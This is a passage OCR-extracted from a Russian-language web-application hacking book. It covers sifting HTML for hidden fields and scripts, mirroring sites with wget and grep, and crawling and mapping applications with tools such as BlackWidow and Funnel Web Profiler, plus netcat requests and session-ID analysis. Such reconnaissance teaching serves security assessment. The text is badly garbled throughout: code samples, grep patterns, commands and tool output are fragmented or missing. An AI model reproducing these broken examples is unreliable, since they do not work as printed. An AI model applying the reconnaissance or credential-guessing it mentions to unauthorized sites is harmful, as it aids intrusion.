можно выполнить инвентаризацию всех скрытых полей, содержа
щихся в коде HTML страницы. Полное уяснение функционального назначения каж
дого скрытого поля в приложении позволит предотвратить утечку информации и воз
можность подделки содержащихся в них значений.
Глава 7. Читая между строк
171
Клиентские сценарии
Когда компания Netscape впервые анонсировала язык клиентских сценариев JavaS
cript, это вызвало настоящую сенсацию. С этого момента отображаемое в броузере со
держимое HTML перестало быть статическим, поскольку появилась возможность
управлять им с использованием программ, интерпретируемых самим броузером. Ав
томатическое обновление рисунков, выполнение вычислений на основе значений по
лей ввода без
передачи на сервер и управление данными cookie --- все это можно
осуществить с помощью клиентского сценария. Сегодня существует два языка кли
ентских сценариев: JavaScript и VBScript. Сценарии JavaScript можно использовать в
броузере компаний Netscape и Microsoft, однако сценарии на языке VBScript могут
интерпретироваться только броузером Internet Explorer.
Достаточно мощные возможности клиентских сценариев позволяют переместить
большую часть логики приложения в его клиентскую часть. При этом сервер освобо
ждается от решения задач, которые гораздо удобнее выполнять в броузере.
Клиентский сценарий можно вставить в код HTML с использованием дескрипто
ров
Вот пример кода JavaScript, отображающего на экране диа
логовое окно с сообщением "Здравствуй, мир":
<SCRIPT
document
</SCRIPT>
В файле example.html (см. рис. 7.1) содержится следующий код JavaScript:
<SCRIPT
var date = new
+
";
</SCRIPT>
Приведенный сценарий JavaScript размещает на клиентском компьютере данные
cookie.
Можно изменить любые клиентские сценарии или полностью обойти их. По
скольку код для выполнения передается броузеру, можно сохранить копию кода, вне
сти в нее изменения, а затем загрузить модифицированную страницу снова в броузер.
Большинство броузеров также позволяют полностью отключить режим выполнения
клиентских сценариев. Разработчики должны соблюдать осторожность, не полагаясь
на проверку данных в клиентском сценарии при передаче данных HTML формы. Не
которые разработчики для Web возлагают проверку входных данных, метасимволов,
длины буфера и другие задачи на броузер. Однако это совершенно бесполезно, по
скольку клиентский сценарий можно обойти без особых проблем.
Приемы автоматического просеивания кода
Процесс просмотра большого количества страниц HTML кода и поиска в нем
ценной информации может оказаться довольно монотонным и утомительным. К сча
стью, далеко не всегда это нужно выполнять вручную, выбирая команду View Source
для просмотра исходного кода каждой страницы. Процесс просеивания исходного ко
да можно автоматизировать с помощью специальных Web приложений, предназна
ченных для сохранения содержимого всего Web узла в локальной файловой системе.
Как только все HTML содержимое сохранено на локальном жестком диске, в нем
можно выполнять рекурсивный поиск информации с помощью таких утилит, как grep
172
Часть
URL
или
Для создания зеркальной копии Web узла можно воспользоваться утили
той wget, разработанной в рамках лицензии GNU.
Использование утилиты wget
Утилита wget не относится к классу интерактивных средств получения инфор
мации из сети. Ее работа основана на поступательном "продвижении" по Web
узлу и сохранении его содержимого в локальной файловой системе без изменения
используемой иерархической структуры. Утилиту wget можно найти на Web узле
Вместо изучения документации, прилагаемой к утилите wget, гораздо полезнее рас
смотреть пример ее практического использования при решении задачи автоматиче
ского просеивания исходного кода. При изучении защищенности Web узла корпора
ции Acme art.com, Inc. и исчерпывающем анализе возможностей утечки информации
группа экспертов с использованием утилиты wget создала зеркальную копию HTML
расположенного по адресу
Ниже показано, как ис
пользовалась эта утилита.
wget r m nv
02:27:54
[3558] >
02:27:54
[1124] >
[1]
02:27:54
[81279/81279] >
[1]
02:27:54
[4312/4312] >
"www.acme art.com/images/yf
02:27:54
[1183] >
shtml" [1]
02:27:54
[36580/36580] >
"www.acme art.com/images/tahoel.jpg"
02:27:54
jpg [6912/6912] >
[1]
02:27:54 URL:
[1160] >
[1]
02:27:54
[81178/81178] >
jpg" ]
02:27:54
[7891/7891] >
"www.acme art.com/images/mn thumb.jpg" [1]
02:27:54
[1159] >
[1]
02:27:55
[86436/86436] >
"www.acme art.com/images/flower.jpg"
02:27:55
[8468/8468] >
"www.acme art.com/images/fl thumb.jpg" [1]
02:27:55
[2999] >
02:27:55
[1031] >
02:27:55
[1282] >
[1]
02:27:55
[1343] >
[1]
02:27:55
[1302] >
html"[1]
02:28:00
[446] >
•
Глава 7. Читая между строк
173
"www.acne art.com/catalogue/print.cgi" [1]
[1274] >
02:28:00
[1281] >
02:28:00 URL:
[1282] >
[1]
02:28:00
Feb
[1825] >
[1]
02:28:00
[941] >
02:28:00
[1884] >
"www.acme art.com/news/news.cgi/12 Apr
[1]
02:28:01
[1940] >
"www.acme art.com/news/news.cgi/14
[1]
02:28:01
>
[1]
02:28:01
Dec_2001.html [1339] >
FINISHED
Downloaded: 343,279 bytes in 28 files
Вначале утилита wget создает каталог
а затем приступает к извле
чению содержимого Web узла. По мере продвижения по Web узлу результирующий
HTML код сохраняется в файлах. При необходимости создаются новые каталоги, что
позволяет сохранить структуру всего узла. После завершения работы утилиты wget для
просмотра дерева каталогов, содержащихся в каталоге
и быстрого
анализа структуры узла можно воспользоваться командой tree.
tree
'
--- catalogue
---
---
---
cgi
--- guestbook
--- images
---
---
---
---
---
---
---th
---
---
---
---
--- index.html
---
,
---
174
Часть II. Секреты URL
12 Apr
---
---8Dec
6 directories, 28 files
В каждом файле этих каталогов содержится HTML код, полученный из соответст
вующих файлов или сценариев узла
Теперь можно приступать
к поиску важной информации в исходном коде HTML.
Использование утилиты grep
Быстрее всего полученный HTML код можно проанализировать с использованием
утилиты grep, выполнив поиск по шаблону. Для решения той же задачи приверженцы
системы Windows могут воспользоваться аналогичной утилитой findstr. В приведен
ной ниже таблице показано, как использовать утилиту grep для анализа исходного ко
да HTML и поиска в нем важной информации.
Элементы
Шаблон
Комментарии HTML
>
Внешние/внутренние гиперссылки HREF, ACTION
электронной почты
§
Ключевые слова/дескрипторы <МЕТА> <МЕТА
Скрытые поля
TYPE=HIDDEN
Клиентские сценарии
<SCRIPT
Синтаксис использования
утилиты
grep r '<! ' *
grep r i
*
grep r
*
grep r i
*
grep r i
*
grep r i
*
, Ниже приведен пример использования утилиты grep для анализа содержимого узла
www.acme art.com.
grep r i
*
TYPE=HIDDEN
INIFILE
TYPE=HIDDEN
INIFILE
TYPE=HIDDEN
ACTION
INIFILE
TYPE=HIDDEN
INIFILE
index.cgi?page«f
TYPE HIDDEN
Обратите внимание, что имя файла
отображается вместе со скрытым по
лем
Если бы подобная простая проверка наличия уязвимых мест на узле
была выполнена в интерактивном режиме, то вполне возможно, что
попытка взлома завершилась бы неудачно.
Глава 7. Читая между строк
175
Sam Spade, Black Widow и Teleport Pro
Утилиты
и grep являются чрезвычайно
средствами автоматизации
процедуры просеивания исходного кода. Иногда для извлечения содержимого Web узлов
и его последующего анализа могут оказаться полезными такие утилиты GNU, как Sam
Spade, Black Widow и Teleport Pro. Главный недостаток wget заключается в том, что она
не поддерживает несколько потоков. Black Widow (http://www.softbytelabs.com) и Tele
port Pro
--- это прекрасные многопоточные программы, кото
рые можно использовать в операционной системе Windows. Однако эти утилиты не
позволяют выполнять поиск в полученном коде HTML. Для выполнения этой задачи
можно воспользоваться утилитой Windows indstr.
Помимо извлечения исходного кода HTML, утилита Sam Spade
от компании
Blighty Design (http://www.samspade.org) позволяет выполнять в этом коде как поиск по
шаблону, так и поиск заданных элементов, например электронных адресов. На
рис. 7.4 показан пример использования этой утилиты.
Рис. 7.4. Параметры настройки ути
литы Sam Spade
На рис. 7.5 показаны результаты работы утилиты Sam Spade: гиперссылки, адреса
электронной почты и скрытые поля, полученные на Web узле http://www.acme art.com.
176
Часть II. Секреты URL
Server:
Root URL: /
registrations
risglc
form
form
fora
Fetching
Hidden
<INPUT
Hidden form
Hidden form
Hidden form
form
Fetching
Hidden form
Hidden fora
form
Fetching link:
Internal link: http:
link: http:
jEmail:
Internal
done
com
done
TYPE=HIDDEN
done
TYPE=HIDDEN
... done
VALUE= "ADD">
TYPE=HIDDEN
... done
done
... done
7.5. Использование утилиты Sam Spade для извлечения содержимого узла
Резюме
Фрагменты информации, которые на первый взгляд не должны вызывать никакого
интереса, могут быть извлечены и использованы взломщиком в процессе атаки на
Web приложение. Предотвращение утечки информации --- задача довольно сложная,
особенно с учетом того, что на разработку Web приложения накладываются жесткие
временные ограничения. Для защиты информации и предотвращения ее утечки не
существует простого и быстрого пути. Остановить хакера можно лишь одним спосо
бом: стать на его место и проанализировать Web приложение с его точки зрения. Хотя
в этой главе вопросы просеивания исходного кода рассматривались не очень подроб
некоторые из них будут еще раз затронуты при обсуждении краж в электронных
магазинах и перехватов сеанса.
Глава 7. Читая между строк
177
ГЛАВА 8
Анализ связей
Он оставил имя пирата для других времен, связав его с единствен
ной добродетелью и множеством
Гордон
Байрон
Введение
Вспомните, что Web приложение состоит из различных
в том числе
Web сервера, сервера приложения и сервера баз данных. Для глубокого понимания
рисков нарушения безопасности, присущих каждому из этих
необходи
мо проанализировать роль и функциональные возможности каждого из них. В этой
главе рассматриваются методы идентификации и классификации всех ресурсов и тех
нологий, используемых в Web приложении.
Web ресурсы --- это объекты, доступные броузерам через протокол HTTP или
HTTP поверх SSL. Web ресурсом может быть статический
автоматически генерирующая HTML код, или
выполняемый в клиентской час
ти приложения. Некоторые из этих ресурсов и основные принципы их использования
рассматриваются в этой главе. Приведенный материал поможет разобраться в логике
Web хакера, а также в том, как с его точки зрения выглядит Web приложение.
Для понимания принципов
в Web необходимо учитывать сильную концеп
туальную связь между Web ресурсами и их назначением. Определенной Web странице
или ресурсу всегда соответствует цель, для достижения которой они предназначены.
Глубокое понимание цели и ее представление в терминах обеспечения безопасности
позволяют снизить
Web ресурса как на этапе его проектирования, так и в
процессе реализации. Например, Web ресурс, предназначенный для размещения дан
ных cookie на клиентском компьютере, и Web ресурс, предоставляющий клиенту
форму для ввода данных и передачи запросов на сервер, преследуют разные цели.
Первый ресурс предназначен для установки пользовательского сеанса при размеще
нии данных cookie, а второй --- для получения данных от пользователя и формирова
ния запроса к базе данных. Следовательно, первый ресурс связан с управлением сеан
сами, а второй --- с интерфейсом базы данных. В результате системный аналитик мо
жет классифицировать все ресурсы по их функциональному назначению. Процесс
анализа набора Web ресурсов, определения взаимосвязей между каждым Web
ресурсом и его функциональным назначением, и в конечном счете получение полного
представления об используемых компонентах в контексте функциональных групп ---
все это называется анализом связей (linkage analysis). Такой анализ позволяет удостове
риться в том, что существует определенный ресурс, предназначенный для выполнения
конкретной функции.
Анализ связей и язык HTML
В области информационных технологий в конце 1980 х годов появился новый
термин --- гипертекст. Основным свойством гипертекста является то, что в нем содер
жится также информация о самом тексте. Элементы гипертекстового документа могут
быть связаны с другими элементами или документами.
Объекты HTML связываются друг с другом с использованием гиперссылок. Деск
риптор якоря
--- один из наиболее простых способов связывания
различных объектов HTML. К другим дескрипторам, в которых используются гипер
ссылки, относится
с помощью которого входные данные передаются определен
ному Web ресурсу, а также
и
позволяющие внедрять в документ раз
личные объекты.
На первый взгляд кажется, что анализ связей относится к классу
выполняемых
вручную. Визуальные компоненты, отображаемые броузером, очень легко проанализи
ровать. Например, можно без особых проблем проанализировать HTML форму или ап
лет, содержащиеся на Web странице. Однако другие компоненты броузером не отобра
Глава 8. Анализ связей
179
Для анализа таких элементов необходимо перейти на более низкий уровень и
просмотреть исходный код HTML или заголовки ответа HTTP. Просмотр каждого Web
и исходного HTML кода вручную возможен для небольших Web узлов или при
ложений, в которых задействовано не очень много ресурсов. При изучении Web узлов
или приложений большего размера просмотр и анализ каждого ресурса вручную стано
вится абсолютно невозможным. В этом случае возникает потребность в использовании
автоматизированных средств анализа связей.
Методология анализа связей
Первый шаг заключается в составлении комплексной схемы анализа. Затем с ис
пользованием этой схемы, а также подходящих средств и приемов можно получить
образ всего Web приложения и собрать информацию, которой окажется достаточно
для проведения анализа. Основная цель --- получение и представление в некотором
структурированном виде наиболее полной информации о Web приложении. В резуль
тате должно быть получено
представление (карта) Web приложения с
разбивкой на функциональные группы.
В таком представлении содержится различная информация, которая пригодится
при анализе структуры приложения и выделении его составных частей, защиту кото
рых нужно обеспечить. Четкой методики анализа связей не существует. Опыт, полу
ченный авторами этой книги в процессе анализа Web приложений, позволил им раз
работать собственную методологию, которая и описывается ниже. На рис. 8.1 содер
жится ее схематическое представление.
Этап исследование Web узла
Этап 2: выделение в структуре приложения
отдельных логических групп
Этап 3: анализ каждого Web pecypca
Этап 4: инвентаризация Web ресурсов
Приемы
Анализрасширений
2. Анализ адресаURL
3. Анализ сеансов
4. Идентификация форм
5. Идентификация объектов
и аплетов
6. Выявление клиентских
сценариев
7.Анализ комментариев
и адресов электронной почты
Рис.
Схема анализа связей
В рамках обсуждаемой методологии выделяется четыре основных этапа: исследо
вание Web узла, выделение в структуре приложения отдельных логических групп,
анализ каждого Web pecypca и инвентаризация Web ресурсов. На первом этапе соби
рается вся возможная информация, которая может пригодиться при построении карты
Web приложения. Затем выполняется идентификация функций, с которыми ассоции
руется
из Web ресурсов. Этот этап скорее интуитивный, чем технический. За
частую простого взгляда на имена и слова, используемые в строке URL, вполне доста
точно для определения роли, которую играет в приложении тот или иной
180
Часть II. Секреты URL
Третий этап является решающим. Он заключается в тщательном анализе каждого
Web ресурса и получении всей доступной информации. На рис. 8.1 в разделе "Мето
ды" представлены шаги, выполняемые на этом этапе. На заключительном этапе про
исходит инвентаризация всех Web ресурсов, а полученные данные представляются в
простом и структурированном формате.
Этап исследование Web узла
Исследование Web узла начинается с его первой страницы и продолжается с уче
том каждой найденной на ней ссылки. С математической точки зрения
(crawling) напоминает поиск в ширину на связном направленном графе. Краулер
(crawler) --- это программа, позволяющая автоматизировать данный
Ее мож
но рассматривать как броузер, который способен "щелкать" на каждой ссылке теку
щей страницы и перемещаться по всем страницам Web узла. Краулер отправляет сер
веру HTTP запрос GET, выполняет синтаксический анализ полученного в качестве от
вета кода
извлекает из него все гиперссылки и рекурсивно выполняет те же
действия по отношению к каждой найденной гиперссылке.
могут быть достаточно сложными. Кроме простых переходов по
гиперссылкам некоторые из них позволяют также создать на локальном жестком диске об
раз всего Web узла, а затем извлечь из него различные элементы, такие, как комментарии,
клиентские сценарии и т.д. Подобные элементы рассматриваются в главе 7.
.
Исследование узла вручную
Если на Web узле не содержится слишком много страниц, то для получения пе
речня всех гиперссылок можно воспользоваться обычным броузером. По сравнению с
применением
такой подход гораздо точнее. Один из главных недостатков ав
томатического исследования Web узла состоит в том, что
не могут интер
претировать клиентские сценарии, например JavaScript, а также содержащиеся в них
гиперссылки.
Несколько слов о заголовке HTTP ответа
Каждый ответ HTTP состоит из двух частей: заголовка ответа и собственно дан
ных. Обычно данные имеют формат HTML, однако они могут представлять собой
также изображение GIF или какой либо другой объект. При исследовании узла крау
лером интенсивно используются заголовки HTTP ответа. Рассмотрим заголовок отве
та более подробно.
200 Ok
Server:
Date: Sat, 16 Mar 2002 18:08:35 GMT
Connection: Keep Alive
Content Length: 496
Content Type:
Set Cookie: private
Возможно, свое название такие программы получили по аналогии с
из фанта
стических романов --- основным средством передвижения исследователей
Краулер (от
"гусеница", "гусеничная машина") --- общее название машин, предназначенных для пере
движения в
пустынях. --- Прим. ред.
Глава 8. Анализ связей Web узла
181
Первым элементом заголовка HTTP ответа является код ответа, содержащийся в
первой строке заголовка. В приведенном выше фрагменте в качестве кода ответа
указано значение 200. Оно говорит о том, что HTTP запрос успешно обработан сер
вером и был сгенерирован соответствующий ответ. Если код ответа свидетельствует
об ошибке, то она произошла при обращении к запрашиваемому ресурсу. Код отве
та 404 означает, что запрашиваемый ресурс отсутствует. Код ответа 403 свидетельст
вует о том, что ресурс существует, но доступ к нему заблокирован. Другие коды от
вета HTTP могут служить признаком того, что ресурс был перемещен или для дос
тупа к нему требуются дополнительные привилегии.
должна
уделять внимание этим кодам ответов учитывать их при определении своего даль
нейшего перемещения.
Следующим важным фрагментом информации, содержащимся в заголовке HTTP
ответа, является поле Content Type. В этом поле описывается тип передаваемых данных,
размещаемых в ответе HTTP после заголовка. В процессе исследования узла значение
этого поля также анализируется
Извлекать гиперссылки из GIF файла не
имеет смысла. Так что особое внимание необходимо уделять данным типа text/html.
Некоторые популярные средства,
предназначенные для анализа связей
Для исследования Web приложений можно воспользоваться несколькими коммер
ческими средствами. Некоторые из них рассматриваются ниже.
.
,
wget
Утилита wget --- это простая программа краулер, запускаемая из командной стро
ки. Эту утилиту, а также соответствующий исходный код, можно найти по адресу:
http://www.wget.org/. Хотя изначально wget была предназначена для использования
в системе UNIX, в настоящее время имеется также версия для Windows. В главе 7
описывается использование утилиты wget для извлечения содержимого Web узла,
его сохранения на локальном жестком диске и поиска по шаблону определенной
информации. Основными преимуществами утилиты wget являются простота в ис
пользовании, возможность запуска из командной строки и возможность использо
вания на платформах Unix и Windows. Кроме того, ее очень удобно использовать в
сценариях оболочки или командных файлах, тем самым автоматизируя решение за
дачи анализа связей.
Поскольку утилита wget предоставляет возможность копирования содержимого
Web узла, для выполнения различных задач анализа можно одновременно запустить
несколько команд или сценариев.
BlackWidow от
BlackWidow от лаборатории SoftByteLabs --- это очень быстрая программа сканер
Web узлов, которую можно использовать под управлением системы Windows. Эта
программа многопоточная, благодаря чему несколько Web страниц могут извлекаться
параллельно. Пакет BlackWidow позволяет также использовать некоторые стандартные
методы отсеивания исходного кода (см. главу 7). На рис. 8.2 программа BlackWidow
показана в процессе краулинга Web узла http://www.foundstone.com/. Во вкладках ос
новного диалогового окна можно найти подробную информацию о процессе исследо
вания, отдельно для каждого потока.
182
Часть II. Секреты URL
Status
Verifying
Verifying
Verifying
Verifying
Verifying
Idle
Verifying
Verifying
2kb
Retrieving
Idle
Idle
URL
2.gif
Рис. 8.2. Многопоточная программа Black Widow в действии
На рис. 8.3 показана иерархическая
древовидная структура
Web узла. Такое представление полученной информации позволяет легко проанализи
ровать размещение ресурсов на Web узле. Кроме того, с использованием графиче
ского пользовательского интерфейса программы BlackWidow можно просмотреть ад
реса электронной почты, найденные на страницах, внешние ссылки и ошибки, кото
рые возникли при попытке доступа к ресурсам. Как и утилита wget, BlackWidow
позволяет создать локальный образ Web узла. При этом адреса URL модифицируются
с учетом реальных путей локальной файловой системы.
Funnel Web Profiler от Quest Software
Программа Funnel Web Profiler от компании Quest Software позволяет выполнить
всесторонний анализ Web узла. Ее бесплатную пробную версию можно получить по
адресу:
На рис. 8.4 эта программа показана в процессе исследо
ванияузлаhttp://www.foundstone.com/. ПрограммаFunnelWebProfiler имеет приятный
графический интерфейс и предоставляет разнообразнейшую информацию.
После завершения сканирования Web узла программа Funnel Web Profiler позволяет
просматривать собранную информацию в различных ракурсах. Например, при переходе
во вкладку Web Map в диалоговом окне отображается структура Web узла и содержащие
ся на нем страницы. На рис. 8.5 показана карта Web узла
При этом каждый Web ресурс представлен в виде узла, а на общей карте можно увидеть,
как узлы связаны друг с другом. Карта Web узла является его визуальным представлени
ем, в котором отражена структура и взаимосвязи между ресурсами.
Глава 8. Анализ связей
183
|
ЩИ
buffer
.
Структура
com/
Scan
site
the web
MM
Статистика сканирования узла
предоставлен
ная программой Funnel Web Profiler
184
Часть II. Секреты URL
На карте Web узла находится группа взаимосвязанных узлов, для каждого из ко
торых указана начальная точка. В правом верхнем углу основного диалогового окна
размещается уменьшенное изображение всей карты. Эту область окна удобно ис
пользовать для масштабирования карты и более детального просмотра ее конкрет
ного фрагмента.
Карта узла
полученная с использованием про
граммы Funnel Web Profiler
При переходе во вкладку List в основном диалоговом окне программы Funnel Web
Profiler в табличном формате будет отображен список всех ресурсов узла
foundstone.com/ с указанием типа ресурса, его размера в байтах и даты последней мо
дификации. На рис. 8.6 показан список ресурсов узла
Заключительные замечания
Две другие утилиты, которые подробно не рассматривались, но о которых все
же стоит упомянуть, --- это
Pro от компании Tennyson Maxwell
и Sam Spade
Утилита Teleport Pro работает
под управлением Windows и в основном используется для копирования содержимого
Web узлов. При этом для выполнения копирования можно задать отдельные проекты.
Поскольку программа Teleport Pro является многопоточной, локальная копия Web
узла создается достаточно быстро. Утилита Sam Spade также предназначена для ис
пользования на платформе Windows и в основном применяется для исследования
Web узлов и отсеивания ресурсов.
Теперь информации вполне достаточно для проведения тщательного анализа.
Давайте посмотрим, что же с ней можно сделать.
Глава 8. Анализ связей Web узла
185
311
7,468
..
572
..
gif S9S
313
228
.1
75
.
.
giT368
19,732
300
AM
12:23 AM
AM
12:24 AM
AM
Unknown12.25
AMj
Г.
Г
С
Г
Г
Р
8.6. Список Web ресурсов узла http://www.foundstone.com/
и перенаправление
Зачастую эти программы попадают в тупик, если встречается необычный метод
связывания ресурсов или перенаправления. Однако некоторые из них все же спо
собны правильно распознать подобные аномалии и предоставить хорошие резуль
таты. Например, такая проблема может возникнуть в том случае, если перенаправ
ление выполняется в клиентском сценарии JavaScript или VBScript.
В приведенном ниже фрагменте кода JavaScript содержится директива перенаправ
ления (вызов метода объекта location), которая интерпретируется и выполняется
броузером.
<SCRIPT
</SCRIPT>
В результате обработки этого фрагмента броузер должен обратиться к ресурсу
Это будет сделано лишь в том случае, если в броузере включен режим
выполнения сценариев JavaScript. Однако краулер не сможет интерпретировать и
выполнить оператор
поэтому в процессе исследования узла
файл
будет пропущен.
Однако если перенаправление выполняется с использованием заголовка ответа
Content Location или дескриптора
языка HTML, то краулер сможет это об
наружить и,
проанализировать эти страницы.
В следующих двух примерах перенаправление выполняется с помощью заголовка
HTTP ответа Content Location и дескриптора <МЕТА> соответственно.
186
Часть II. Секреты URL
Перенаправление с использованием поля заголовка Content Location
В этом примере рассматривается следующий фрагмент:
200 Ok
Server:
Date: Wen, 27 Mar 2002 08:13:01
Connection: Keep Alive
Set Cookie:
path=/
Cache control: private
В данном случае серверу
был передан запрос GET на получение
Web ресурса, предоставляемого по умолчанию и содержащегося в корневом ката
логе. При анализе заголовка HTTP ответа видно, что в нем содержится специаль
ное поле Content Location. Это приведет к тому, что за необходимым ресурсом бро
узер обратится по URL адресу http://www.example.com/example/index.asp.
Перенаправление с использованием атрибута HTTP EQUIV
Дескрипторы <МЕТА> можно вставлять в область заголовка документа HTML. Как
правило, эти дескрипторы используются для добавления в документ списка ключе
вых слов, связанных с ним. Однако Дескриптор <МЕТА> может применяться и для
перенаправления. При использовании атрибута HTTP EQUIV дескриптора
бро
узер будет перенаправлен по адресу URL, указанному в этом атрибуте. В следую
щем дескрипторе <МЕТА> броузеру сообщается о том, что содержимое, взятое на уз
ле
нужно обновлять через 2 секунды.
В некоторых
реализованы методы синтаксического анализа,
которые обеспечивают корректную обработку директив перенаправления, рассмот
ренных в предыдущих примерах. Однако некоторые из таких программ, например
утилита wget, не могут обрабатывать дескрипторы HTML.
Этап 2: выделение в структуре
приложения отдельных
логических групп
Первое, что нужно сделать после исследования Web узла, --- это просмотреть
структуру
используемых в Web приложении. В большинстве случаев подобный
анализ позволяет получить информацию о функциях приложения. Например, рас
смотрим результаты исследования узла
где среди прочих ис
пользуются
ниже
f
exe
http://ww.example.com/scripts/search.cgi
http://www.example.com/scripts/mail.pl
Глава 8. Анализ связей Web узла
187
/ asp asp
66
/ /www.
/
f
asp
Какую же пользу можно извлечь из этих адресов? Некоторые выводы не вызывают
никаких сомнений. Каталог /l o gi n/ напоминает точку входа в ту часть приложения, к
которой могут обращаться только зарегистрированные пользователи. Каталог
файловой структуры сервера используется при завершении пользователем сеанса ра
боты с приложением. В каталоге /dow nload/ размешены ресурсы, доступные для всех
пользователей. Такие файлы, как setup. exe и tools.e x e, могут быть загружены с узла с
использованием сценария
Давайте посмотрим, что произойдет при обращении к каталогу /priv ate/. При
щелчке в окне броузера на соответствующей
на экране появится окно ау
тентификации, показанное на рис. 8.7.
При передаче аналогичного запроса с использованием утилиты netcat будет полу
чен следующий ответ:
пс www.example.com 80
HEAD /private/ HTTP/1.0
HTTP/1.1 401 Authorization Required
Date:
18 Mar 2002 09:40:24 GMT
Server: Microsoft ISS"/5.0
WWW Authenticate: Basic
directory"
Connection: close
ravsfltes
fiJFavontes
I
3
your
and
Рис. 8.7. Диалоговое окно аутентификации при обращении к файлу
С сервера был получен код HTTP ответа 401. Это означает, что каталог /priv ate/
паролем. Становится понятно, что в данном случае используется стандарт
ный алгоритм аутентификации HTTP, когда имя пользователя и пароль шифруются
188
Часть II. Секреты URL
по алгоритму Base64. Для дальнейшего продвижения нужно иметь в распоряжении
корректные регистрационные данные. В таких ситуациях хакеры пользуются ранее
взломанными учетными записями или пытаются получить доступ к нужной странице,
реализовав автоматизированную атаку подбора регистрационных данных "в лоб".
Вызывает интерес также каталог /s cr ipts/. В нем содержатся серверные сцена
рии mail.pl и
На основании имен этих файлов можно предположить,
что сценарий m a i l. p l используется для отправки электронной почты, a
---
для выполнения поиска по ключевым словам. В каталоге /ad m in/ содержится ресурс
который наверняка представляет собой страницу управления
Web узлом, которая доступна только для администратора узла, обладающего соот
ветствующими полномочиями.
Если же посмотреть на список URL в целом, то возникают совсем другие мысли.
Как правило, в одном Web приложении одновременно не используются страницы
ASP, сценарии CGI и
Java. Их наличие свидетельствует о том, что Web
приложение используется несколькими Web серверами. Управление страницами ASP
и, возможно, даже сценариями Perl и CGI осуществляется с помощью сервера IIS
системы
тогда как управление
Java выполняется другим серве
ром. Вспомните, что в главе 6 упоминалось о возможности управления различными
частями Web приложения на разных платформах, причем эти части взаимосвязаны и
функционируют как единое целое.
ffl O knowledge
£2 microsoft
6}
html
В
products
Puc. 8.8. Список, полученный с использованием утилиты Funnel Web Profiler
He существует общих правил, руководствуясь которыми можно извлечь подобную
информацию. Практический опыт и знание стандартного процесса разработки Web
приложений окажутся чудесным подспорьем при выполнении анализа подобного рода.
В следующих главах будут обсуждаться различные сценарии реализации атак, в рамках
которых введенные здесь понятия будут еще раз проиллюстрированы. Каждая связь в
Web приложении может иметь потенциальный изъян, которым может воспользоваться
Глава 8. Анализ связей Web узла
189
взломщик. В
разделе основное внимание уделялось связыванию адресов URL
с их функциональным назначением и выделению тех частей приложения, с использо
ванием которых связан повышенный риск. На основе такого подхода все полученные
результаты можно связать с обнаруженными Web ресурсами. На рис. 8.8 показано де
рево каталогов и файлов, содержащихся на узле http://www.foundstone.com/. Эта ин
формация была получена с использованием программы Funnel Web Profiler. Какие
выводы можно сделать на ее основе?
Заключительные замечания
Выше было показано, как на основе адресов URL и списка Web ресурсов можно
выявить функции, которые выполняются Web приложением. При рассмотрении
третьего этапа станет понятно, как собранную информацию представить в более
удобном виде.
Этап 3: анализ каждого Web pecypca
Конечная цель анализа связей --- классификация и упорядочение ресурсов, ис
пользуемых на Web узле или в Web приложении. Это упорядочение должно обеспе
чить возможность быстрого поиска любого ресурса и определения роли, которую он
играет в
В своей повседневной работе авторы книги часто создают мат
рицу Web ресурсов. Для иллюстрации процесса создания такой матрицы рассмотрим
ряд приемов, которые ранее уже успешно использовались в практической аналитиче
работе. В состав этой методологии входит семь пунктов, каждый из которых свя
зан с третьим этапом анализа связей (см. рис. 8.1).
Анализ расширений
Анализ расширений файлов, используемых в URL, позволяет идентифицировать
применяемые технологии. Например, на основе расширения можно определить, явля
ется ли ресурс статическим или представляет собой программу, которая генерирует
динамическое содержимое. Можно также определить технологий, на основе которых
осуществляется управление ресурсом, что особенно полезно при идентификации сер
вера приложений. Давайте снова обратимся к четырем Web ресурсам, обнаруженным
на узле
asp
http://ww.example.com/scripts/search.cgi
com/scripts
Обратите внимание на три типа расширений:
.cgi и Они означают, что
используются технологии Active Server Pages компании Microsoft и язык Perl. Расши
рение
является слишком общим, чтобы на его
делать какие либо кон
кретные выводы. Расширения .jsp,
и .php свидетельствуют об использовании
серверных сценариев или программ. Другие расширения,
и .txt, позволя
ют сделать заключение о том, что на Web узле используется статическое содержимое в
формате HTML или ASCII. Если вы не помните, что означают эти расширения, обя
зательно перечитайте главу Таким образом, проанализировав расширение, можно
сделать вывод об используемой технологии. Следовательно, расширение файла пре
доставляет важную информацию о типе ресурса и технологии, которая используется
для управления им.
190
Часть II. Секреты URL
2. Анализ адресов URL
Если анализ расширений не позволяет полностью идентифицировать используе
мые технологии, то следующий шаг состоит в анализе полного пути URL. Если в нем
присутствуют строки /sc ripts/,
или /servlet/, то можно определить тип
используемого сервера приложения. Зачастую в URL применяется строка запроса.
Параметры, передаваемые в строке запроса, также достаточно много сообщают о
назначении ресурса. Например, следующие ресурсы, найденные на узле
свидетельствуют о том, что
и setcustinfo --- это
Java, содержащиеся в каталоге /servlet/ файловой системы сервера.
http://www.example.com/servlet/setcustinfo
3. Анализ сеансов
Как правило, в приложениях, в которых важно поддерживать состояние сеанса,
используется один из двух испытанных подходов, позволяющих сохранять информа
цию о состоянии. Сеансы HTTP поддерживаются либо путем передачи идентифика
тора сеанса в скрытом поле HTML формы, либо с использованием данных cookie.
Иногда идентификатор сеанса передается как часть самого URL, однако этот способ
практически ничем не отличается от использования скрытых полей.
При более тщательном анализе следующего URL, полученного в результате иссле
дования узла
можно обнаружить поле id, в котором содер
жится буквенно цифровая строка.
Параметр id используется для отслеживания сеанса работы с приложением. Его
значение и является идентификатором сеанса, который генерируется по специальному
алгоритму. Идентификатор сеанса позволяет сохранять в приложении информацию о
состоянии всех текущих клиентских сеансов.
Управление сеансами можно реализовать с использованием данных cookie. Неко
торые современные серверы Web приложений используют такие данные для обеспе
чения встроенной поддержки управления сеансами. Если HTTP запрос GET передать
ресурсу
узла
то будет получен следующий ответ:
пс www.example.com 80
GET
HTTP/1.1 200 Ok
Server:
Date:
18 Mar 2002
GMT
Connection: Keep Alive
Content Length: 496
Content Type: text/html
Set Cookie: private
В заголовке HTTP ответа сообщается, что под именем
броузеру не
обходимо сохранить полученные данные cookie, в которых содержится зашифро
ванная
строка, представляющая собой идентификатора сеанса.
Броузер передает эти данные на
в каждом запросе HTTP на протяжении
всего сеанса работы.
Глава 8. Анализ связей
4. Поиск форм
HTML формы --- один из наиболее стандартных способов взаимодействия пользо
вателя с Web приложением. В HTML формах содержатся введенные пользователем
данные, которые затем передаются приложению. При разработке как языка HTML,
так и протокола HTTP не учитывалась необходимость проверки корректности данных,
передаваемых броузером Web серверу. На приложение возлагаются все обязанности,
связанные с проверкой введенных значений и очисткой полей формы. В аспекте
